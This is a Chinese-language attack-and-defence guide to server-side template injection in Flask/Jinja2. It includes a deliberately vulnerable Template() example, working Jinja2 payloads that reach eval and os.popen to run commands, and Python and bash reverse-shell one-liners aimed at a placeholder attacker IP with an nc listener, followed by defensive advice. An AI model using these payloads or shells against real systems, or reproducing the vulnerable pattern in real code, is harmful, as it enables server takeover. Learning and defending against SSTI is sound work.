SSTI(模板注入)的攻防战
字数 795 2025-08-18 11:39:19
服务器端模板注入(SSTI)攻防指南
一、SSTI概述
SSTI (Server Side Template Injection)即服务器端模板注入,是一种发生在模板引擎解析用户输入时的安全漏洞。当Web应用将用户输入直接作为模板内容的一部分进行编译渲染时,攻击者可以注入恶意模板代码,可能导致敏感信息泄露、代码执行甚至获取服务器控制权。
二、模板引擎工作原理
模板引擎实现了界面与数据分离、业务代码与逻辑代码分离,提升开发效率和代码重用性。但同时也扩大了攻击面。
典型工作流程:
$output = $twig->render($_GET['custom_email'], array("first_name" => $user.first_name));
三、SSTI漏洞检测
-
基本检测方法:
- 输入
{{7*7}},如果返回49则可能存在SSTI - 输入
{{self}},可能返回模板对象信息
- 输入
-
XSS与SSTI区别:
- XSS仅在客户端执行
- SSTI在服务器端执行,危害更大
四、SSTI利用技术
1. Python环境下的利用
Flask/Jinja2示例:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name) # 用户可控的模板
return t.render()
通用Payload(Python2/Python3):
{% for c in ().__class__.__bases__[0].__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") }}
{% endif %}
{% endfor %}
使用Jinja语法执行命令:
{{ ''.__class__.__mro__[1].__subclasses__()[258].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
使用func_global模块:
{{ ''.__class__.__mro__[1].__subclasses__()[258].__init__.__globals__.linecache.os.popen('whoami').read() }}
2. 反弹Shell方法
Python反弹Shell:
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("攻击者IP",端口)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]);'
Bash反弹Shell:
受害机执行:
bash -i >& /dev/tcp/攻击者IP/端口 0>&1
攻击机监听:
nc -lvvvp 端口
五、防御措施
-
输入处理:
- 永远不要信任用户输入
- 对用户输入进行严格过滤和转义
-
模板使用最佳实践:
- 尽可能加载静态模板文件
- 不要允许用户控制模板文件或其内容的路径
-
沙箱限制:
- 实现严格的沙箱环境
- 限制模板可访问的函数和模块
-
安全配置:
- 禁用危险的模板功能
- 保持模板引擎更新到最新版本
六、总结
SSTI漏洞危害严重,可导致服务器完全沦陷。开发人员应:
- 了解模板引擎工作原理
- 严格处理用户输入
- 遵循最小权限原则
- 定期进行安全审计
攻击者则可以利用对象的内置方法和属性链式调用,绕过限制执行系统命令。防御的关键在于从根本上避免将用户输入直接作为模板内容解析。